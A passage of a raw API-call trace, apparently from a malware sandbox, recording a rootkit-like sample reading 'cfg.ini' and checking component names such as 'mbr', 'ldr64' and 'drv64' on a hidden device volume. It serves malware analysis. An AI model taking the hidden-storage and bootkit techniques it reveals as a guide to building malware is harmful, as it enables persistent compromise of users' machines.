SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.897] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.897] IdePortDispatch () returned 0x103 [0121.897] KeWaitForMutexObject () returned 0x0 [0121.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.897] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.897] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.897] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.897] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.897] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6860 [0121.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.898] KeLeaveCriticalRegion () [0121.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.898] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.898] KeEnterCriticalRegion () [0121.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.898] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.898] KeLeaveCriticalRegion () [0121.898] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.898] KeEnterCriticalRegion () [0121.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.898] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.898] IdePortDispatch () returned 0x103 [0121.898] KeWaitForMutexObject () returned 0x0 [0121.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.898] KeLeaveCriticalRegion () [0121.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.898] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.898] KeEnterCriticalRegion () [0121.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bef000 [0121.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.899] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.899] IdePortDispatch () returned 0x103 [0121.899] KeWaitForMutexObject () returned 0x0 [0121.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.899] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.899] IdePortDispatch () returned 0x103 [0121.899] KeWaitForMutexObject () returned 0x0 [0121.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.899] KeLeaveCriticalRegion () [0121.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.900] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.900] KeEnterCriticalRegion () [0121.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.900] KeLeaveCriticalRegion () [0121.900] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.900] KeEnterCriticalRegion () [0121.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.900] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.900] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.900] KeLeaveCriticalRegion () [0121.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.900] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.900] KeEnterCriticalRegion () [0121.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.900] ExFreePoolWithTag (P=0xfffffa8003bc6860, Tag=0x0) [0121.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.901] KeLeaveCriticalRegion () [0121.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.901] ReleaseMutex (hMutex=0xf0) returned 1 [0121.901] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.901] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.901] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.901] KeEnterCriticalRegion () [0121.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.901] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.901] IdePortDispatch () returned 0x103 [0121.901] KeWaitForMutexObject () returned 0x0 [0121.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.901] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.901] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.901] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.901] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.901] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2b60 [0121.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.901] KeLeaveCriticalRegion () [0121.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.901] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.902] KeEnterCriticalRegion () [0121.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.902] KeLeaveCriticalRegion () [0121.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.902] KeEnterCriticalRegion () [0121.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.902] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.902] IdePortDispatch () returned 0x103 [0121.902] KeWaitForMutexObject () returned 0x0 [0121.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.902] KeLeaveCriticalRegion () [0121.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.902] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.902] KeEnterCriticalRegion () [0121.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf0000 [0121.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.902] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.902] IdePortDispatch () returned 0x103 [0121.902] KeWaitForMutexObject () returned 0x0 [0121.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.903] IdePortDispatch () returned 0x103 [0121.903] KeWaitForMutexObject () returned 0x0 [0121.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.903] KeLeaveCriticalRegion () [0121.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.903] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.903] KeEnterCriticalRegion () [0121.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.903] KeLeaveCriticalRegion () [0121.903] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.903] KeEnterCriticalRegion () [0121.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.903] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.904] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.904] KeLeaveCriticalRegion () [0121.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.904] KeEnterCriticalRegion () [0121.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.904] ExFreePoolWithTag (P=0xfffffa8003be2b60, Tag=0x0) [0121.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.904] KeLeaveCriticalRegion () [0121.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.904] ReleaseMutex (hMutex=0xf0) returned 1 [0121.904] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.904] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.904] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.904] KeEnterCriticalRegion () [0121.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.904] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.904] IdePortDispatch () returned 0x103 [0121.904] KeWaitForMutexObject () returned 0x0 [0121.904] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.904] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.904] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.904] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.904] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.904] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.904] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.904] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.904] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.904] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.905] KeLeaveCriticalRegion () [0121.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.905] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.905] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.905] KeEnterCriticalRegion () [0121.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.905] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.905] IdePortDispatch () returned 0x103 [0121.905] KeWaitForMutexObject () returned 0x0 [0121.905] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.905] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.905] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.905] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.905] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.905] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.905] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.905] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.905] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.905] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.905] KeLeaveCriticalRegion () [0121.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.905] ReleaseMutex (hMutex=0x100) returned 1 [0121.905] Sleep (dwMilliseconds=0x2bf20) [0121.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bdcb170, dwHighDateTime=0x1d24fa4)) [0121.914] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.914] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.914] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.914] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.914] KeEnterCriticalRegion () [0121.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.914] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.914] IdePortDispatch () returned 0x103 [0121.914] KeWaitForMutexObject () returned 0x0 [0121.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.914] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.914] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.914] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.914] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.914] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9e10 [0121.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.914] KeLeaveCriticalRegion () [0121.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.914] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.914] KeEnterCriticalRegion () [0121.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.914] KeLeaveCriticalRegion () [0121.915] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.915] KeEnterCriticalRegion () [0121.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.915] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.915] IdePortDispatch () returned 0x103 [0121.915] KeWaitForMutexObject () returned 0x0 [0121.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.915] KeLeaveCriticalRegion () [0121.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.915] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.915] KeEnterCriticalRegion () [0121.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.915] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf3000 [0121.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.915] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.915] IdePortDispatch () returned 0x103 [0121.915] KeWaitForMutexObject () returned 0x0 [0121.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.915] 